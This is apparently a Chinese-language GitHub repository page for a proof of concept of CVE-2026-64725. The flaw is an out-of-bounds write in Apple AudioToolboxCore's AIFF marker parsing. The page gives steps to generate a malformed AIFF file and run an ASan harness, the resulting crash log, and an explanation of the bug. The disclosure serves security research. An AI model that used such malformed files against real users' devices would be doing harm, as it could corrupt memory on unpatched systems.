altvist/cve-2026-64725-poc
GitHub: altvist/cve-2026-64725-poc
针对 Apple AudioToolboxCore 中 AIFF 音频解析越界写入漏洞(CVE-2026-64725)的概念验证项目,提供畸形文件生成器与 ASan 测试套件。
Stars: 0 | Forks: 0
# 仓库里有什么?
[CVE-2026-64725](https://support.apple.com/en-us/128066) 的 PoC。详情请参阅[源代码](./poc/)和[博客文章](https://altvi.st/cve-2026-64725/)。
# 如何复现?
## 平台
在 macOS 26.4.1(build 25E253;Darwin 25.4.0 (xnu-12377.101.15~1);Apple Silicon (T8103 / M1))上发现。
Apple 确认 macOS/iOS/iPadOS < 26.6 存在漏洞。
## PoC
1. 确保你的 Mac 运行的是最新的 macOS
2. 确保你安装了 Python 3.6+ 和 clang
3. 将仓库克隆到你的 Mac
4. 生成一个最小化的畸形 AIFF 文件,以触发 `int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)` 中的有符号移位 bug:
cd poc/
python3 gen_marker_oob_aiff.py
或者
cd poc/
make aiff
结果你应该会得到 `marker_oob.aiff`。
5. 使用 ASan 构建最小化的 PoC 测试套件:
make
结果你应该会得到 `marker_oob_harness`。
## 运行 PoC
```
./marker_oob_harness marker_oob.aiff
```
你应该会看到类似这样的内容
```
buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below). Disassemble the provided pc to learn which register was used.
#0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
#1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
#2 0x000104778ca4 in main marker_oob_harness.c:59
#3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
==62449==Register values:
x[0] = 0xa29319b2bf742f12 x[1] = 0x0000000000000000 x[2] = 0x0000000000000000 x[3] = 0x0000000000000008
x[4] = 0x0000000000000004 x[5] = 0xffffffffffffffff x[6] = 0x0000000000000000 x[7] = 0x0000000000000001
x[8] = 0x0000000000000000 x[9] = 0x0000000000001917 x[10] = 0x0000000000000002 x[11] = 0x0000000000000000
x[12] = 0x000000002d6d0c46 x[13] = 0x00000001fd0f3380 x[14] = 0x0000000000000000 x[15] = 0x0000000000000000
x[16] = 0x000000016b686231 x[17] = 0x00000001fd0e6d78 x[18] = 0x0000000000000000 x[19] = 0x0000000000000001
x[20] = 0x000000016b686420 x[21] = 0x0000615000000a80 x[22] = 0x0000000000000000 x[23] = 0x000000000000c8e6
x[24] = 0x000000000000c8e8 x[25] = 0x00000000ffffe6e9 x[26] = 0x0000000000000004 x[27] = 0x000061900004000c
x[28] = 0x0000000000000002 fp = 0x000000016b686390 lr = 0x00000001929391b8 sp = 0x000000016b686220
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort ./marker_oob_harness marker_oob.aiff
```
## 发生了什么?
长话短说:
1. `marker_oob_harness` 通过调用有文档记录的公开 API [`AudioFileOpenURL(...)`](https://developer.apple.com/documentation/audiotoolbox/audiofileopenurl(_:_:_:_:)?language=objc) 打开了 `marker_oob.aiff`
2. `marker_oob_harness` 调用 `calloc` 为标记分配了固定长度的输出缓冲区(这不是最佳实践,但在现实世界中经常发生;更安全的 `GetMarkerListSize` 代码模式将在下文的“安全案例” / “`GetMarkerListSize` → `malloc(size)` → `GetMarkerList`”中讨论)
3. `marker_oob_harness` 尝试通过调用有文档记录的公开 API [`AudioFileGetProperty(...)`](https://developer.apple.com/documentation/audiotoolbox/audiofilegetproperty(_:_:_:_:)?language=objc) 并传入 `inPropertyID=kAudioFilePropertyMarkerList` 来获取标记列表。所有参数,包括输出缓冲区大小和指向缓冲区的指针,都是正确的。
4. `AudioFileGetProperty(...)` 在底层调用了未公开的 API `int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)`
5. `int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)` 误解了(正确的!)输出缓冲区大小,并将 `marker_oob.aiff` 中的字节写到了缓冲区末尾之后,因此你看到了 ASan 崩溃消息。预期的正确行为应该是返回缓冲区过小错误或类似的结果。
写入到缓冲区末尾之后的字节数取决于文件大小。如果文件足够大,恶意的 `.aiff` 文件可以溢出**任意**大小合理的缓冲区。
详情请参阅[博客文章](https://altvi.st/cve-2026-64725/)。
标签:C/C++, PoC, Python, Web报告查看器, 事务性I/O, 内存安全, 客户端加密, 无后门, 暴力破解, 逆向工具